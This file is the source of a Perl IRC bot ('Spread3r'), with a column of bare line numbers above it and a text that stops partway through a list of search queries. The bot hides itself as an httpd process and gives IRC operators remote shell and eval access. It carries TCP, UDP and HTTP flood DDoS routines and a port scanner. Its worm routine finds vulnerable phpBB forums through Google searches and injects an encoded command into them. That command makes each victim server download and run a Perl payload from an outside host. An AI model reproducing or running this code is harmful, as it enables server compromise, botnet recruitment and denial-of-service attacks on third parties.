./c0de/perl/perlbot.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
297.
298.
299.
300.
301.
302.
303.
304.
305.
306.
307.
308.
309.
310.
311.
312.
313.
314.
315.
316.
317.
318.
319.
320.
321.
322.
323.
324.
325.
326.
327.
328.
329.
330.
331.
332.
333.
334.
335.
336.
337.
338.
339.
340.
341.
342.
343.
344.
345.
346.
347.
348.
349.
350.
351.
352.
353.
354.
355.
356.
357.
358.
359.
360.
361.
362.
363.
364.
365.
366.
367.
368.
369.
370.
371.
372.
373.
374.
375.
376.
377.
378.
379.
380.
381.
382.
383.
384.
385.
386.
387.
388.
389.
390.
391.
392.
393.
394.
395.
396.
397.
398.
399.
400.
401.
402.
403.
404.
405.
406.
407.
408.
409.
410.
411.
412.
413.
414.
415.
416.
417.
418.
419.
420.
421.
422.
423.
424.
425.
426.
427.
428.
429.
430.
431.
432.
433.
434.
435.
436.
437.
438.
439.
440.
441.
442.
443.
444.
445.
446.
447.
448.
449.
450.
451.
452.
453.
454.
455.
456.
457.
458.
459.
460.
461.
462.
463.
464.
465.
466.
467.
468.
469.
470.
471.
472.
473.
474.
475.
476.
477.
478.
479.
480.
481.
482.
483.
484.
485.
486.
487.
488.
489.
490.
491.
492.
493.
494.
495.
496.
497.
498.
499.
500.
501.
502.
503.
504.
505.
506.
507.
508.
509.
510.
511.
512.
513.
514.
515.
516.
517.
518.
519.
520.
521.
522.
523.
524.
525.
526.
527.
528.
529.
530.
531.
532.
533.
534.
535.
536.
537.
538.
539.
540.
541.
542.
543.
544.
545.
546.
547.
548.
549.
550.
551.
552.
553.
554.
555.
556.
557.
558.
559.
560.
561.
562.
563.
564.
565.
566.
567.
568.
569.
570.
571.
572.
573.
574.
575.
576.
577.
578.
579.
580.
581.
582.
583.
584.
585.
586.
587.
588.
589.
590.
591.
592.
593.
594.
595.
596.
597.
598.
599.
600.
601.
602.
603.
604.
605.
606.
607.
608.
609.
610.
611.
612.
613.
614.
615.
616.
617.
618.
619.
620.
621.
622.
623.
624.
625.
626.
627.
628.
629.
630.
631.
632.
633.
634.
635.
636.
637.
638.
639.
640.
641.
642.
643.
644.
645.
646.
647.
648.
649.
650.
651.
652.
653.
654.
655.
656.
657.
658.
659.
660.
661.
662.
663.
664.
665.
666.
667.
668.
669.
670.
671.
672.
673.
674.
675.
676.
677.
678.
679.
680.
681.
682.
683.
684.
685.
686.
687.
688.
689.
690.
691.
692.
693.
694.
695.
696.
697.
698.
699.
700.
701.
702.
703.
704.
705.
706.
707.
708.
709.
710.
711.
712.
713.
714.
715.
716.
717.
718.
719.
720.
721.
722.
723.
724.
725.
726.
727.
728.
729.
730.
731.
732.
733.
734.
735.
736.
737.
738.
739.
740.
741.
742.
743.
744.
745.
746.
747.
748.
749.
750.
751.
752.
753.
754.
755.
#!/usr/bin/perl
 
 
my $processo = '[httpd]';
my $linas_max='5';
my $sleep='5';
my @adms=("admin");
my @hostauth=("uberleet.org");
my @canais=("#hidden");
my $pwned="/tmp/bak";
my $nick='Spread3r-';
my $ircname = 'id';
chop (my $realname = 'id');
$servidor='irc.net.orgt' unless $servidor;
my $porta='6667';
 
 
my $VERSAO = '0.2';
 
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
 
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
 
 
 
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
 
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}
 
sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];
 
   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;
 
     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);
 
     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);
 
     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}
 
sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
   }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}
 
 
sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080");
             my (@aberta, %porta_banner);
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");     
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }
 
             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP-DDOS]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
        my $itime = time;
        my ($cur_time);
             $cur_time = time - $itime;
        while ($3>$cur_time){
             $cur_time = time - $itime;
        &tcpflooder("$1","$2","$3");
             }
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP-DDOS]\002 Finished with attacking ".$1.":".$2.".");
           }
           if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched phpBB for ".$1." seconds.");
        srand;
        my $itime = time;
        my ($cur_time);
        my ($exploited);
 
        $boturl=$2;
             $cur_time = time - $itime;
        $exploited = 0;
      while($1>$cur_time){
          $cur_time = time - $itime;
          @urls=fetch();
          foreach $url (@urls) {
         $cur_time = time - $itime;
         if ($url !~ /viewtopic.php/) {next;$cur_time = time - $itime;}
         $url =~ s/(.*\/viewtopic.php\?[t|p]=[0-9]+).*/$1/;
         $host[0] = $url;
         if($host[0] =~ /\//){
         ($host[1],$host[2])=split(/\//,$host[0]);
         }
         #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[EXPLOITING]\002 ".$host[1].".");
         $url .="&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(104)%252echr(116)%252echr(116)%252echr(112)%252echr(58)%252echr(47)%252echr(47)%252echr(117)%252echr(121)%252echr(120)%252echr(46)%252echr(108)%252echr(105)%252echr(116)%252echr(104)%252echr(121)%252echr(117)%252echr(109)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(115)%252echr(101)%252echr(115)%252echr(115)%252echr(95)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(115)%252echr(101)%252echr(115)%252echr(115)%252echr(95)%252echr(59)%252echr(114)%252echr(109)%252echr(32)%252echr(45)%252echr(114)%252echr(102)%252echr(32)%252echr(115)%252echr(101)%252echr(115)%252echr(115)%252echr(95))%252e%2527";
         $page = http_query($url);
         if ( $page =~ /uyx/ ){
             $page = http_query($url);
             $exploited = $exploited + 1;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[0WN3D]\002 " .$url. ".");
         }
          }
      }
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1." seconds.");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP-DDOS]\002 Attacking ".$1.":80 for ".$2." seconds.");
        my $itime = time;
        my ($cur_time);
             $cur_time = time - $itime;
        while ($2>$cur_time){
             $cur_time = time - $itime;
        my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
        close($socket);
             }
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP-DDOS]\002 Finished with attacking ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP-DDOS]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
 
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP-DDOS]\002 Sended ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
 
           }
           exit;
       }
  }
}
 
sub ircase {
  my ($kem, $printl, $case) = @_;
 
  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}
 
sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}
 
sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}
 
sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
 
  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
 
       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}
 
sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}
 
#Spreader
 
sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 50;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);
 
my @str=("%22inurl%3A%22.net%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.com%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.com%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.com%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.net%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.net%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.de%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.de%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.de%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.be%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ca%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ca%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.be%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.be%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.org%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.org%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.org%22+%22phpbb%22%2B%222.0.10%22",
"inurl%3A%22%2Fforo%2F%22+%22phpbb%22%2B%222.0.6%22",
"inurl%3A%22%2Fforo%2F%22+%22phpbb%22%2B%222.0.8%22",
"inurl%3A%22%2Fforo%2F%22+%22phpbb%22%2B%222.0.10%22",
"inurl%3A%22%2Fforum%2F%22+%22phpbb%22%2B%222.0.6%22",
"inurl%3A%22%2Fforum%2F%22+%22phpbb%22%2B%222.0.8%22",
"inurl%3A%22%2Fforum%2F%22+%22phpbb%22%2B%222.0.10%22",
"inurl%3A%22%2FphpBB%2F%22+%22phpbb%22%2B%222.0.6%22",
"inurl%3A%22%2FphphBB%2F%22+%22phpbb%22%2B%222.0.8%22",
"inurl%3A%22%2FphpBB%2F%22+%22phpbb%22%2B%222.0.10%22",
"%22test+forum+1%22%2B%22phpbb%22%2B%222.0.6%22",
"%22test+forum+1%22%2B%22phpbb%22%2B%222.0.8%22",
"%22test+forum+1%22%2B%22phpbb%22%2B%222.0.10%22",
"%22welcome+to+phpbb+2%22%2B%22phpbb%22%2B%222.0.6%22",
"%22welcome+to+phpbb+2%22%2B%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.us%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.us%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.us%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.tw%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.tw%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.tw%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.cn%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.cn%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.cn%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.hk%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.hk%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.hk%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.se%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.se%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.se%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ar%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ar%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ar%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.at%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.at%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.at%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.uy%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.uy%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.uy%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.cz%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.cz%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.cz%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.kr%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.kr%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.kr%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.jp%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.jp%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.jp%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.dk%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.dk%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.dk%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.yu%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.yu%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.yu%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.my%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.my%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.my%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.info%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.info%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.info%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.gr%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.gr%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.gr%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.uk%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.uk%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.uk%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.pe%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.pe%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.pe%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.co%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.co%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.co%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ve%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ve%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ve%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.cl%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.cl%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.cl%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.py%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.py%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.py%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.bo%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.bo%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.bo%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ec%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ec%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ec%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.mx%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.mx%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.mx%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.fi%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.fi%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.fi%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.si%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.si%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.si%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ch%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ch%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ch%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.es%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.es%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.es%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.fr%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.fr%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.fr%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.br%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.br%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.br%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ru%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ru%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ru%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ro%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ro%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ro%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.biz%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.biz%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.biz%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ni%22+%22phpbb%22%2B%222.0.6%22",
